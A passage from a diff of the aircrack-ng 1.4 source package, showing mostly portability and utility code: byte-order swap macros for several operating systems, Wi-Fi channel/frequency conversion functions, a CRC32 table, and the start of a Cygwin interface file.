+ *  along with this program; if not, write to the Free Software
+ *  Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301, USA
+ *
+ *
+ *  In addition, as a special exception, the copyright holders give
+ *  permission to link the code of portions of this program with the
+ *  OpenSSL library under certain conditions as described in each
+ *  individual source file, and distribute linked combinations
+ *  including the two.
+ *  You must obey the GNU General Public License in all respects
+ *  for all of the code used other than OpenSSL. *  If you modify
+ *  file(s) with this exception, you may extend this exception to your
+ *  version of the file(s), but you are not obligated to do so. *  If you
+ *  do not wish to do so, delete this exception statement from your
+ *  version. *  If you delete this exception statement from all source
+ *  files in the program, then also delete it here.
+ */
+
+#ifndef _AIRCRACK_NG_BYTEORDER_H_
+#define _AIRCRACK_NG_BYTEORDER_H_
+
+#define ___my_swab16(x)                                                        \
+	((u_int16_t)((((u_int16_t)(x) & (u_int16_t) 0x00ffU) << 8)                 \
+				 | (((u_int16_t)(x) & (u_int16_t) 0xff00U) >> 8)))
+#define ___my_swab32(x)                                                        \
+	((u_int32_t)((((u_int32_t)(x) & (u_int32_t) 0x000000ffUL) << 24)           \
+				 | (((u_int32_t)(x) & (u_int32_t) 0x0000ff00UL) << 8)          \
+				 | (((u_int32_t)(x) & (u_int32_t) 0x00ff0000UL) >> 8)          \
+				 | (((u_int32_t)(x) & (u_int32_t) 0xff000000UL) >> 24)))
+#define ___my_swab64(x)                                                        \
+	((u_int64_t)(                                                              \
+		(u_int64_t)(((u_int64_t)(x) & (u_int64_t) 0x00000000000000ffULL)       \
+					<< 56)                                                     \
+		| (u_int64_t)(((u_int64_t)(x) & (u_int64_t) 0x000000000000ff00ULL)     \
+					  << 40)                                                   \
+		| (u_int64_t)(((u_int64_t)(x) & (u_int64_t) 0x0000000000ff0000ULL)     \
+					  << 24)                                                   \
+		| (u_int64_t)(((u_int64_t)(x) & (u_int64_t) 0x00000000ff000000ULL)     \
+					  << 8)                                                    \
+		| (u_int64_t)(((u_int64_t)(x) & (u_int64_t) 0x000000ff00000000ULL)     \
+					  >> 8)                                                    \
+		| (u_int64_t)(((u_int64_t)(x) & (u_int64_t) 0x0000ff0000000000ULL)     \
+					  >> 24)                                                   \
+		| (u_int64_t)(((u_int64_t)(x) & (u_int64_t) 0x00ff000000000000ULL)     \
+					  >> 40)                                                   \
+		| (u_int64_t)(((u_int64_t)(x) & (u_int64_t) 0xff00000000000000ULL)     \
+					  >> 56)))
+
+/*
+	 * Linux
+	 */
+#if defined(linux) || defined(Linux) || defined(__linux__) || defined(__linux) \
+	|| defined(__gnu_linux__)
+#include <endian.h>
+#include <unistd.h>
+#include <stdint.h>
+
+#ifndef __int8_t_defined
+typedef uint64_t u_int64_t;
+typedef uint32_t u_int32_t;
+typedef uint16_t u_int16_t;
+typedef uint8_t u_int8_t;
+#endif
+
+#endif
+
+/*
+	 * Cygwin
+	 */
+#if defined(__CYGWIN32__)
+#include <asm/byteorder.h>
+#include <unistd.h>
+
+#define __be64_to_cpu(x) ___my_swab64(x)
+#define __be32_to_cpu(x) ___my_swab32(x)
+#define __be16_to_cpu(x) ___my_swab16(x)
+#define __cpu_to_be64(x) ___my_swab64(x)
+#define __cpu_to_be32(x) ___my_swab32(x)
+#define __cpu_to_be16(x) ___my_swab16(x)
+#define __le64_to_cpu(x) (x)
+#define __le32_to_cpu(x) (x)
+#define __le16_to_cpu(x) (x)
+#define __cpu_to_le64(x) (x)
+#define __cpu_to_le32(x) (x)
+#define __cpu_to_le16(x) (x)
+
+#define AIRCRACK_NG_BYTE_ORDER_DEFINED
+
+#endif
+
+/*
+	 * Windows (DDK)
+	 */
+#if defined(__WIN__)
+
+#include <io.h>
+
+#define __be64_to_cpu(x) ___my_swab64(x)
+#define __be32_to_cpu(x) ___my_swab32(x)
+#define __be16_to_cpu(x) ___my_swab16(x)
+#define __cpu_to_be64(x) ___my_swab64(x)
+#define __cpu_to_be32(x) ___my_swab32(x)
+#define __cpu_to_be16(x) ___my_swab16(x)
+#define __le64_to_cpu(x) (x)
+#define __le32_to_cpu(x) (x)
+#define __le16_to_cpu(x) (x)
+#define __cpu_to_le64(x) (x)
+#define __cpu_to_le32(x) (x)
+#define __cpu_to_le16(x) (x)
+
+#define AIRCRACK_NG_BYTE_ORDER_DEFINED
+
+#endif
+
+/*
+	 * MAC (Darwin)
+	 */
+#if defined(__APPLE_CC__)
+#if defined(__x86_64__) && defined(__APPLE__)
+
+#include <libkern/OSByteOrder.h>
+
+#define __swab64(x) (unsigned long long) OSSwapInt64((uint64_t) x)
+#define __swab32(x) (unsigned long) OSSwapInt32((uint32_t) x)
+#define __swab16(x) (unsigned short) OSSwapInt16((uint16_t) x)
+#define __be64_to_cpu(x) (unsigned long long) OSSwapBigToHostInt64((uint64_t) x)
+#define __be32_to_cpu(x) (unsigned long) OSSwapBigToHostInt32((uint32_t) x)
+#define __be16_to_cpu(x) (unsigned short) OSSwapBigToHostInt16((uint16_t) x)
+#define __le64_to_cpu(x)                                                       \
+	(unsigned long long) OSSwapLittleToHostInt64((uint64_t) x)
+#define __le32_to_cpu(x) (unsigned long) OSSwapLittleToHostInt32((uint32_t) x)
+#define __le16_to_cpu(x) (unsigned short) OSSwapLittleToHostInt16((uint16_t) x)
+#define __cpu_to_be64(x) (unsigned long long) OSSwapHostToBigInt64((uint64_t) x)
+#define __cpu_to_be32(x) (unsigned long) OSSwapHostToBigInt32((uint32_t) x)
+#define __cpu_to_be16(x) (unsigned short) OSSwapHostToBigInt16((uint16_t) x)
+#define __cpu_to_le64(x)                                                       \
+	(unsigned long long) OSSwapHostToLittleInt64((uint64_t) x)
+#define __cpu_to_le32(x) (unsigned long) OSSwapHostToLittleInt32((uint32_t) x)
+#define __cpu_to_le16(x) (unsigned short) OSSwapHostToLittleInt16((uint16_t) x)
+
+#else
+
+#include <architecture/byte_order.h>
+
+#define __swab64(x) NXSwapLongLong(x)
+#define __swab32(x) NXSwapLong(x)
+#define __swab16(x) NXSwapShort(x)
+#define __be64_to_cpu(x) NXSwapBigLongLongToHost(x)
+#define __be32_to_cpu(x) NXSwapBigLongToHost(x)
+#define __be16_to_cpu(x) NXSwapBigShortToHost(x)
+#define __le64_to_cpu(x) NXSwapLittleLongLongToHost(x)
+#define __le32_to_cpu(x) NXSwapLittleLongToHost(x)
+#define __le16_to_cpu(x) NXSwapLittleShortToHost(x)
+#define __cpu_to_be64(x) NXSwapHostLongLongToBig(x)
+#define __cpu_to_be32(x) NXSwapHostLongToBig(x)
+#define __cpu_to_be16(x) NXSwapHostShortToBig(x)
+#define __cpu_to_le64(x) NXSwapHostLongLongToLittle(x)
+#define __cpu_to_le32(x) NXSwapHostLongToLittle(x)
+#define __cpu_to_le16(x) NXSwapHostShortToLittle(x)
+
+#endif
+
+#define __LITTLE_ENDIAN 1234
+#define __BIG_ENDIAN 4321
+#define __PDP_ENDIAN 3412
+#define __BYTE_ORDER __BIG_ENDIAN
+
+#define AIRCRACK_NG_BYTE_ORDER_DEFINED
+
+#endif
+
+/*
+	 * Solaris
+	 * -------
+	 */
+#if defined(__SVR4) && defined(__sun__)
+#include <sys/byteorder.h>
+#include <sys/types.h>
+#include <unistd.h>
+
+typedef uint64_t u_int64_t;
+typedef uint32_t u_int32_t;
+typedef uint16_t u_int16_t;
+typedef uint8_t u_int8_t;
+
+#if defined(__sparc__)
+#define __be64_to_cpu(x) (x)
+#define __be32_to_cpu(x) (x)
+#define __be16_to_cpu(x) (x)
+#define __cpu_to_be64(x) (x)
+#define __cpu_to_be32(x) (x)
+#define __cpu_to_be16(x) (x)
+#define __le64_to_cpu(x) ___my_swab64(x)
+#define __le32_to_cpu(x) ___my_swab32(x)
+#define __le16_to_cpu(x) ___my_swab16(x)
+#define __cpu_to_le64(x) ___my_swab64(x)
+#define __cpu_to_le32(x) ___my_swab32(x)
+#define __cpu_to_le16(x) ___my_swab16(x)
+
+#define AIRCRACK_NG_BYTE_ORDER_DEFINED
+#else
+#define AIRCRACK_NG_BYTE_ORDER 1
+#define LITTLE_ENDIAN 1
+#endif
+#endif
+
+/*
+	 * Custom stuff
+	 */
+#if defined(__MACH__) && !defined(__APPLE_CC__) && !defined(__GNU__)
+#include <libkern/OSByteOrder.h>
+#define __cpu_to_be64(x) = OSSwapHostToBigInt64(x)
+#define __cpu_to_be32(x) = OSSwapHostToBigInt32(x)
+
+#define AIRCRACK_NG_BYTE_ORDER_DEFINED
+#endif
+
+// FreeBSD
+#ifdef __FreeBSD__
+#undef ushort
+#undef uint
+#include <sys/types.h>
+#endif
+
+// XXX: Is there anything to include on OpenBSD/NetBSD/DragonFlyBSD/...?
+
+// XXX: Mac: Check
+// http://www.opensource.apple.com/source/CF/CF-476.18/CFByteOrder.h
+//           http://developer.apple.com/DOCUMENTATION/CoreFoundation/Reference/CFByteOrderUtils/Reference/reference.html
+//           Write to apple to ask what should be used.
+
+#if defined(LITTLE_ENDIAN)
+#define AIRCRACK_NG_LITTLE_ENDIAN LITTLE_ENDIAN
+#elif defined(__LITTLE_ENDIAN)
+#define AIRCRACK_NG_LITTLE_ENDIAN __LITTLE_ENDIAN
+#elif defined(_LITTLE_ENDIAN)
+#define AIRCRACK_NG_LITTLE_ENDIAN _LITTLE_ENDIAN
+#endif
+
+#if defined(BIG_ENDIAN)
+#define AIRCRACK_NG_BIG_ENDIAN BIG_ENDIAN
+#elif defined(__BIG_ENDIAN)
+#define AIRCRACK_NG_BIG_ENDIAN __BIG_ENDIAN
+#elif defined(_BIG_ENDIAN)
+#define AIRCRACK_NG_BIG_ENDIAN _BIG_ENDIAN
+#endif
+
+#if !defined(AIRCRACK_NG_LITTLE_ENDIAN) && !defined(AIRCRACK_NG_BIG_ENDIAN)
+#error Impossible to determine endianness (Little or Big endian), please contact the author.
+#endif
+
+#if defined(BYTE_ORDER)
+#if (BYTE_ORDER == AIRCRACK_NG_LITTLE_ENDIAN)
+#define AIRCRACK_NG_BYTE_ORDER AIRCRACK_NG_LITTLE_ENDIAN
+#elif (BYTE_ORDER == AIRCRACK_NG_BIG_ENDIAN)
+#define AIRCRACK_NG_BYTE_ORDER AIRCRACK_NG_BIG_ENDIAN
+#endif
+#elif defined(__BYTE_ORDER)
+#if (__BYTE_ORDER == AIRCRACK_NG_LITTLE_ENDIAN)
+#define AIRCRACK_NG_BYTE_ORDER AIRCRACK_NG_LITTLE_ENDIAN
+#elif (__BYTE_ORDER == AIRCRACK_NG_BIG_ENDIAN)
+#define AIRCRACK_NG_BYTE_ORDER AIRCRACK_NG_BIG_ENDIAN
+#endif
+#elif defined(_BYTE_ORDER)
+#if (_BYTE_ORDER == AIRCRACK_NG_LITTLE_ENDIAN)
+#define AIRCRACK_NG_BYTE_ORDER AIRCRACK_NG_LITTLE_ENDIAN
+#elif (_BYTE_ORDER == AIRCRACK_NG_BIG_ENDIAN)
+#define AIRCRACK_NG_BYTE_ORDER AIRCRACK_NG_BIG_ENDIAN
+#endif
+#endif
+
+#ifndef AIRCRACK_NG_BYTE_ORDER
+#error Impossible to determine endianness (Little or Big endian), please contact the author.
+#endif
+
+#if (AIRCRACK_NG_BYTE_ORDER == AIRCRACK_NG_LITTLE_ENDIAN)
+
+#ifndef AIRCRACK_NG_BYTE_ORDER_DEFINED
+#define __be64_to_cpu(x) ___my_swab64(x)
+#define __be32_to_cpu(x) ___my_swab32(x)
+#define __be16_to_cpu(x) ___my_swab16(x)
+#define __cpu_to_be64(x) ___my_swab64(x)
+#define __cpu_to_be32(x) ___my_swab32(x)
+#define __cpu_to_be16(x) ___my_swab16(x)
+#define __le64_to_cpu(x) (x)
+#define __le32_to_cpu(x) (x)
+#define __le16_to_cpu(x) (x)
+#define __cpu_to_le64(x) (x)
+#define __cpu_to_le32(x) (x)
+#define __cpu_to_le16(x) (x)
+#endif
+
+#ifndef htobe16
+#define htobe16 ___my_swab16
+#endif
+#ifndef htobe32
+#define htobe32 ___my_swab32
+#endif
+#ifndef htobe64
+#define htobe64 ___my_swab64
+#endif
+#ifndef betoh16
+#define betoh16 ___my_swab16
+#endif
+#ifndef betoh32
+#define betoh32 ___my_swab32
+#endif
+#ifndef betoh64
+#define betoh64 ___my_swab64
+#endif
+
+#ifndef htole16
+#define htole16(x) (x)
+#endif
+#ifndef htole32
+#define htole32(x) (x)
+#endif
+#ifndef htole64
+#define htole64(x) (x)
+#endif
+#ifndef letoh16
+#define letoh16(x) (x)
+#endif
+#ifndef letoh32
+#define letoh32(x) (x)
+#endif
+#ifndef letoh64
+#define letoh64(x) (x)
+#endif
+
+#endif
+
+#if (AIRCRACK_NG_BYTE_ORDER == AIRCRACK_NG_BIG_ENDIAN)
+
+#ifndef AIRCRACK_NG_BYTE_ORDER_DEFINED
+#define __be64_to_cpu(x) (x)
+#define __be32_to_cpu(x) (x)
+#define __be16_to_cpu(x) (x)
+#define __cpu_to_be64(x) (x)
+#define __cpu_to_be32(x) (x)
+#define __cpu_to_be16(x) (x)
+#define __le64_to_cpu(x) ___my_swab64(x)
+#define __le32_to_cpu(x) ___my_swab32(x)
+#define __le16_to_cpu(x) ___my_swab16(x)
+#define __cpu_to_le64(x) ___my_swab64(x)
+#define __cpu_to_le32(x) ___my_swab32(x)
+#define __cpu_to_le16(x) ___my_swab16(x)
+#endif
+
+#ifndef htobe16
+#define htobe16(x) (x)
+#endif
+#ifndef htobe32
+#define htobe32(x) (x)
+#endif
+#ifndef htobe64
+#define htobe64(x) (x)
+#endif
+#ifndef betoh16
+#define betoh16(x) (x)
+#endif
+#ifndef betoh32
+#define betoh32(x) (x)
+#endif
+#ifndef betoh64
+#define betoh64(x) (x)
+#endif
+
+#ifndef htole16
+#define htole16 ___my_swab16
+#endif
+#ifndef htole32
+#define htole32 ___my_swab32
+#endif
+#ifndef htole64
+#define htole64 ___my_swab64
+#endif
+#ifndef letoh16
+#define letoh16 ___my_swab16
+#endif
+#ifndef letoh32
+#define letoh32 ___my_swab32
+#endif
+#ifndef letoh64
+#define letoh64 ___my_swab64
+#endif
+
+#endif
+
+// Common defines
+#define cpu_to_le64 __cpu_to_le64
+#define le64_to_cpu __le64_to_cpu
+#define cpu_to_le32 __cpu_to_le32
+#define le32_to_cpu __le32_to_cpu
+#define cpu_to_le16 __cpu_to_le16
+#define le16_to_cpu __le16_to_cpu
+#define cpu_to_be64 __cpu_to_be64
+#define be64_to_cpu __be64_to_cpu
+#define cpu_to_be32 __cpu_to_be32
+#define be32_to_cpu __be32_to_cpu
+#define cpu_to_be16 __cpu_to_be16
+#define be16_to_cpu __be16_to_cpu
+
+#ifndef le16toh
+#define le16toh le16_to_cpu
+#endif
+#ifndef be16toh
+#define be16toh be16_to_cpu
+#endif
+#ifndef le32toh
+#define le32toh le32_to_cpu
+#endif
+#ifndef be32toh
+#define be32toh be32_to_cpu
+#endif
+
+#ifndef htons
+#define htons cpu_to_be16
+#endif
+#ifndef htonl
+#define htonl cpu_to_be32
+#endif
+#ifndef ntohs
+#define ntohs be16_to_cpu
+#endif
+#ifndef ntohl
+#define ntohl be32_to_cpu
+#endif
+
+#endif

aircrack-ng-1.4.tar.gz/src/aircrack-osdep/channel.h Added

@@ -0,0 +1,29 @@
+/*
+ *  OS dependent APIs for Linux
+ *
+ *  Copyright (C) 2018 Thomas d'Otreppe <tdotreppe@aircrack-ng.org>
+ *
+ *  This program is free software; you can redistribute it and/or modify
+ *  it under the terms of the GNU General Public License as published by
+ *  the Free Software Foundation; either version 2 of the License, or
+ *  (at your option) any later version.
+ *
+ *  This program is distributed in the hope that it will be useful,
+ *  but WITHOUT ANY WARRANTY; without even the implied warranty of
+ *  MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
+ *  GNU General Public License for more details.
+ *
+ *  You should have received a copy of the GNU General Public License
+ *  along with this program; if not, write to the Free Software
+ *  Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301, USA
+ */
+
+#ifndef OSDEP_CHANNELS_H
+#define OSDEP_CHANNELS_H
+
+#define CHANNEL_NO_HT 0
+#define CHANNEL_HT20 20
+#define CHANNEL_HT40_PLUS 39
+#define CHANNEL_HT40_MINUS 41
+
+#endif // OSDEP_CHANNELS_H

aircrack-ng-1.4.tar.gz/src/aircrack-osdep/common.c Added

@@ -0,0 +1,76 @@
+/*
+   *  Copyright (c) 2008-2018, Thomas d'Otreppe <tdotreppe@aircrack-ng.org>
+   *
+   *  Common OSdep stuff
+   *
+   *  This program is free software; you can redistribute it and/or modify
+   *  it under the terms of the GNU General Public License as published by
+   *  the Free Software Foundation; either version 2 of the License, or
+   *  (at your option) any later version.
+   *
+   *  This program is distributed in the hope that it will be useful,
+   *  but WITHOUT ANY WARRANTY; without even the implied warranty of
+   *  MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
+   *  GNU General Public License for more details.
+   *
+   *  You should have received a copy of the GNU General Public License
+   *  along with this program; if not, write to the Free Software
+   *  Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301, USA
+   */
+#include <stdlib.h>
+#include <stdio.h>
+#include <unistd.h>
+#include <string.h>
+#include <stdlib.h>
+#include "common.h"
+
+/**
+ * Return the frequency in Mhz from a channel number
+ */
+EXPORT int getFrequencyFromChannel(int channel)
+{
+	static int frequencies[] = {
+		-1, // No channel 0
+		2412, 2417, 2422, 2427, 2432, 2437, 2442, 2447, 2452, 2457, 2462, 2467,
+		2472, 2484, -1,   -1,   -1,   -1,   -1,   -1,   -1,   -1,   -1,   -1,
+		-1,   -1,   -1,   -1,   -1,   -1,   -1,   -1,
+		-1, // Nothing from channel 15 to 34 (exclusive)
+		5170, 5175, 5180, 5185, 5190, 5195, 5200, 5205, 5210, 5215, 5220, 5225,
+		5230, 5235, 5240, 5245, 5250, 5255, 5260, 5265, 5270, 5275, 5280, 5285,
+		5290, 5295, 5300, 5305, 5310, 5315, 5320, 5325, 5330, 5335, 5340, 5345,
+		5350, 5355, 5360, 5365, 5370, 5375, 5380, 5385, 5390, 5395, 5400, 5405,
+		5410, 5415, 5420, 5425, 5430, 5435, 5440, 5445, 5450, 5455, 5460, 5465,
+		5470, 5475, 5480, 5485, 5490, 5495, 5500, 5505, 5510, 5515, 5520, 5525,
+		5530, 5535, 5540, 5545, 5550, 5555, 5560, 5565, 5570, 5575, 5580, 5585,
+		5590, 5595, 5600, 5605, 5610, 5615, 5620, 5625, 5630, 5635, 5640, 5645,
+		5650, 5655, 5660, 5665, 5670, 5675, 5680, 5685, 5690, 5695, 5700, 5705,
+		5710, 5715, 5720, 5725, 5730, 5735, 5740, 5745, 5750, 5755, 5760, 5765,
+		5770, 5775, 5780, 5785, 5790, 5795, 5800, 5805, 5810, 5815, 5820, 5825,
+		5830, 5835, 5840, 5845, 5850, 5855, 5860, 5865, 5870, 5875, 5880, 5885,
+		5890, 5895, 5900, 5905, 5910, 5915, 5920, 5925, 5930, 5935, 5940, 5945,
+		5950, 5955, 5960, 5965, 5970, 5975, 5980, 5985, 5990, 5995, 6000, 6005,
+		6010, 6015, 6020, 6025, 6030, 6035, 6040, 6045, 6050, 6055, 6060, 6065,
+		6070, 6075, 6080, 6085, 6090, 6095, 6100};
+
+	return (channel > 0 && channel <= HIGHEST_CHANNEL)
+			   ? frequencies[channel]
+			   : (channel >= LOWEST_CHANNEL && channel <= -4)
+					 ? 5000 - (channel * 5)
+					 : -1;
+}
+
+/**
+ * Return the channel from the frequency (in Mhz)
+ */
+EXPORT int getChannelFromFrequency(int frequency)
+{
+	if (frequency >= 2412 && frequency <= 2472)
+		return (frequency - 2407) / 5;
+	else if (frequency == 2484)
+		return 14;
+
+	else if (frequency >= 4920 && frequency <= 6100)
+		return (frequency - 5000) / 5;
+	else
+		return -1;
+}

aircrack-ng-1.4.tar.gz/src/aircrack-osdep/common.h Added

@@ -0,0 +1,63 @@
+/*
+ * Copyright (c) 2010-2018 Thomas d'Otreppe <tdotreppe@aircrack-ng.org>
+ *
+ * This program is free software; you can redistribute it and/or
+ * modify it under the terms of the GNU General Public License as
+ * published by the Free Software Foundation; either version 2 of the
+ * License, or (at your option) any later version.
+ *
+ * This program is distributed in the hope that it will be useful, but
+ * is provided AS IS, WITHOUT ANY WARRANTY; without even the implied
+ * warranty of MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE, and
+ * NON-INFRINGEMENT.  See the GNU General Public License for more details.
+ *
+ * You should have received a copy of the GNU General Public License
+ * along with this program; if not, write to the Free Software
+ * Foundation, Inc., 51 Franklin St, Fifth Floor, Boston,
+ * MA 02110-1301, USA.
+ *
+ * In addition, as a special exception, the copyright holders give
+ * permission to link the code of portions of this program with the
+ * OpenSSL library under certain conditions as described in each
+ * individual source file, and distribute linked combinations
+ * including the two.
+ * You must obey the GNU General Public License in all respects
+ * for all of the code used other than OpenSSL.  If you modify
+ * file(s) with this exception, you may extend this exception to your
+ * version of the file(s), but you are not obligated to do so.  If you
+ * do not wish to do so, delete this exception statement from your
+ * version.  If you delete this exception statement from all source
+ * files in the program, then also delete it here.
+ */
+#ifndef _OSDEP_COMMON_H_
+#define _OSDEP_COMMON_H_
+
+#if defined(_MSC_VER)
+//  Microsoft
+#define EXPORT __declspec(dllexport)
+#define IMPORT __declspec(dllimport)
+#elif defined(__GNUC__) || defined(__llvm__) || defined(__clang__)             \
+	|| defined(__INTEL_COMPILER)
+#define EXPORT __attribute__((visibility("default")))
+#define IMPORT
+#else
+//  do nothing and hope for the best?
+#define EXPORT
+#define IMPORT
+#pragma warning Unknown dynamic link import / export semantics.
+#endif
+
+IMPORT int getFrequencyFromChannel(int channel);
+IMPORT int getChannelFromFrequency(int frequency);
+
+/*
+// For later use, because aircrack-ng doesn't compile with MS compilers
+#if defined(WIN32) || defined(__WIN__)
+#define ftruncate(a, b) _chsize(a,b)
+#endif
+*/
+
+#define HIGHEST_CHANNEL 220
+#define LOWEST_CHANNEL -16
+
+#endif

aircrack-ng-1.4.tar.gz/src/aircrack-osdep/crctable_osdep.h Added

@@ -0,0 +1,49 @@
+#ifndef _CRCTABLE_OSDEP_H
+#define _CRCTABLE_OSDEP_H
+
+const unsigned long int crc_tbl_osdep[256]
+	= {0x00000000, 0x77073096, 0xEE0E612C, 0x990951BA, 0x076DC419, 0x706AF48F,
+	   0xE963A535, 0x9E6495A3, 0x0EDB8832, 0x79DCB8A4, 0xE0D5E91E, 0x97D2D988,
+	   0x09B64C2B, 0x7EB17CBD, 0xE7B82D07, 0x90BF1D91, 0x1DB71064, 0x6AB020F2,
+	   0xF3B97148, 0x84BE41DE, 0x1ADAD47D, 0x6DDDE4EB, 0xF4D4B551, 0x83D385C7,
+	   0x136C9856, 0x646BA8C0, 0xFD62F97A, 0x8A65C9EC, 0x14015C4F, 0x63066CD9,
+	   0xFA0F3D63, 0x8D080DF5, 0x3B6E20C8, 0x4C69105E, 0xD56041E4, 0xA2677172,
+	   0x3C03E4D1, 0x4B04D447, 0xD20D85FD, 0xA50AB56B, 0x35B5A8FA, 0x42B2986C,
+	   0xDBBBC9D6, 0xACBCF940, 0x32D86CE3, 0x45DF5C75, 0xDCD60DCF, 0xABD13D59,
+	   0x26D930AC, 0x51DE003A, 0xC8D75180, 0xBFD06116, 0x21B4F4B5, 0x56B3C423,
+	   0xCFBA9599, 0xB8BDA50F, 0x2802B89E, 0x5F058808, 0xC60CD9B2, 0xB10BE924,
+	   0x2F6F7C87, 0x58684C11, 0xC1611DAB, 0xB6662D3D, 0x76DC4190, 0x01DB7106,
+	   0x98D220BC, 0xEFD5102A, 0x71B18589, 0x06B6B51F, 0x9FBFE4A5, 0xE8B8D433,
+	   0x7807C9A2, 0x0F00F934, 0x9609A88E, 0xE10E9818, 0x7F6A0DBB, 0x086D3D2D,
+	   0x91646C97, 0xE6635C01, 0x6B6B51F4, 0x1C6C6162, 0x856530D8, 0xF262004E,
+	   0x6C0695ED, 0x1B01A57B, 0x8208F4C1, 0xF50FC457, 0x65B0D9C6, 0x12B7E950,
+	   0x8BBEB8EA, 0xFCB9887C, 0x62DD1DDF, 0x15DA2D49, 0x8CD37CF3, 0xFBD44C65,
+	   0x4DB26158, 0x3AB551CE, 0xA3BC0074, 0xD4BB30E2, 0x4ADFA541, 0x3DD895D7,
+	   0xA4D1C46D, 0xD3D6F4FB, 0x4369E96A, 0x346ED9FC, 0xAD678846, 0xDA60B8D0,
+	   0x44042D73, 0x33031DE5, 0xAA0A4C5F, 0xDD0D7CC9, 0x5005713C, 0x270241AA,
+	   0xBE0B1010, 0xC90C2086, 0x5768B525, 0x206F85B3, 0xB966D409, 0xCE61E49F,
+	   0x5EDEF90E, 0x29D9C998, 0xB0D09822, 0xC7D7A8B4, 0x59B33D17, 0x2EB40D81,
+	   0xB7BD5C3B, 0xC0BA6CAD, 0xEDB88320, 0x9ABFB3B6, 0x03B6E20C, 0x74B1D29A,
+	   0xEAD54739, 0x9DD277AF, 0x04DB2615, 0x73DC1683, 0xE3630B12, 0x94643B84,
+	   0x0D6D6A3E, 0x7A6A5AA8, 0xE40ECF0B, 0x9309FF9D, 0x0A00AE27, 0x7D079EB1,
+	   0xF00F9344, 0x8708A3D2, 0x1E01F268, 0x6906C2FE, 0xF762575D, 0x806567CB,
+	   0x196C3671, 0x6E6B06E7, 0xFED41B76, 0x89D32BE0, 0x10DA7A5A, 0x67DD4ACC,
+	   0xF9B9DF6F, 0x8EBEEFF9, 0x17B7BE43, 0x60B08ED5, 0xD6D6A3E8, 0xA1D1937E,
+	   0x38D8C2C4, 0x4FDFF252, 0xD1BB67F1, 0xA6BC5767, 0x3FB506DD, 0x48B2364B,
+	   0xD80D2BDA, 0xAF0A1B4C, 0x36034AF6, 0x41047A60, 0xDF60EFC3, 0xA867DF55,
+	   0x316E8EEF, 0x4669BE79, 0xCB61B38C, 0xBC66831A, 0x256FD2A0, 0x5268E236,
+	   0xCC0C7795, 0xBB0B4703, 0x220216B9, 0x5505262F, 0xC5BA3BBE, 0xB2BD0B28,
+	   0x2BB45A92, 0x5CB36A04, 0xC2D7FFA7, 0xB5D0CF31, 0x2CD99E8B, 0x5BDEAE1D,
+	   0x9B64C2B0, 0xEC63F226, 0x756AA39C, 0x026D930A, 0x9C0906A9, 0xEB0E363F,
+	   0x72076785, 0x05005713, 0x95BF4A82, 0xE2B87A14, 0x7BB12BAE, 0x0CB61B38,
+	   0x92D28E9B, 0xE5D5BE0D, 0x7CDCEFB7, 0x0BDBDF21, 0x86D3D2D4, 0xF1D4E242,
+	   0x68DDB3F8, 0x1FDA836E, 0x81BE16CD, 0xF6B9265B, 0x6FB077E1, 0x18B74777,
+	   0x88085AE6, 0xFF0F6A70, 0x66063BCA, 0x11010B5C, 0x8F659EFF, 0xF862AE69,
+	   0x616BFFD3, 0x166CCF45, 0xA00AE278, 0xD70DD2EE, 0x4E048354, 0x3903B3C2,
+	   0xA7672661, 0xD06016F7, 0x4969474D, 0x3E6E77DB, 0xAED16A4A, 0xD9D65ADC,
+	   0x40DF0B66, 0x37D83BF0, 0xA9BCAE53, 0xDEBB9EC5, 0x47B2CF7F, 0x30B5FFE9,
+	   0xBDBDF21C, 0xCABAC28A, 0x53B39330, 0x24B4A3A6, 0xBAD03605, 0xCDD70693,
+	   0x54DE5729, 0x23D967BF, 0xB3667A2E, 0xC4614AB8, 0x5D681B02, 0x2A6F2B94,
+	   0xB40BBE37, 0xC30C8EA1, 0x5A05DF1B, 0x2D02EF8D};
+
+#endif /* crctable_osdep.h */

aircrack-ng-1.4.tar.gz/src/aircrack-osdep/cygwin.c Added

@@ -0,0 +1,560 @@
+/*
+   *  Copyright (c) 2007, 2008, Andrea Bittau <a.bittau@cs.ucl.ac.uk>
+   *
+   *  OS dependent API for cygwin. It relies on an external
+   *  DLL to do the actual wifi stuff
+   *
+   *  This program is free software; you can redistribute it and/or modify
+   *  it under the terms of the GNU General Public License as published by
+   *  the Free Software Foundation; either version 2 of the License, or
+   *  (at your option) any later version.
+   *
+   *  This program is distributed in the hope that it will be useful,
+   *  but WITHOUT ANY WARRANTY; without even the implied warranty of
+   *  MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
+   *  GNU General Public License for more details.
+   *
+   *  You should have received a copy of the GNU General Public License
+   *  along with this program; if not, write to the Free Software
+   *  Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301, USA
+   */
+
+#include <pthread.h>
+#include <unistd.h>
+#include <assert.h>
+#include <stdlib.h>
+#include <dlfcn.h>
+#include <string.h>
+#include <stdio.h>
+#include <ctype.h>
+#include <windows.h>
+
+#include "osdep.h"
+#include "network.h"
+#include "cygwin.h"
+
+#ifdef HAVE_AIRPCAP
+#include "aircrack_ng_airpcap.h"
+#endif
+
+#define xstr(s) str(s)
+#define str(s) #s
+
+#define DLL_EXTENSION ".dll"
+
+struct priv_cygwin
+{
+	pthread_t pc_reader;
+	volatile int pc_running;
+	int pc_pipe[2]; /* reader -> parent */
+	int pc_channel;
+	int pc_frequency;
+	struct wif * pc_wi;
+	int pc_did_init;
+
+	int isAirpcap;
+	int useDll;
+
+	int (*pc_init)(char * param);
+	int (*pc_set_chan)(int chan);
+	int (*pc_set_freq)(int freq);
+	int (*pc_inject)(void * buf, int len, struct tx_info * ti);
+	int (*pc_sniff)(void * buf, int len, struct rx_info * ri);
+	int (*pc_get_mac)(void * mac);
+	int (*pc_set_mac)(void * mac);
+	void (*pc_close)(void);
+};
+
+/**
+ * strstr() function case insensitive
+ * @param String C string to be scanned
+ * @param Pattern C string containing the sequence of characters to match
+ * @return Pointer to the first occurrence of Pattern in String, or a null
+ * pointer if there Pattern is not part of String.
+ */
+char * stristr(const char * String, const char * Pattern)
+{
+	char *pptr, *sptr, *start;
+	unsigned slen, plen;
+
+	for (start = (char *) String,
+		pptr = (char *) Pattern,
+		slen = strlen(String),
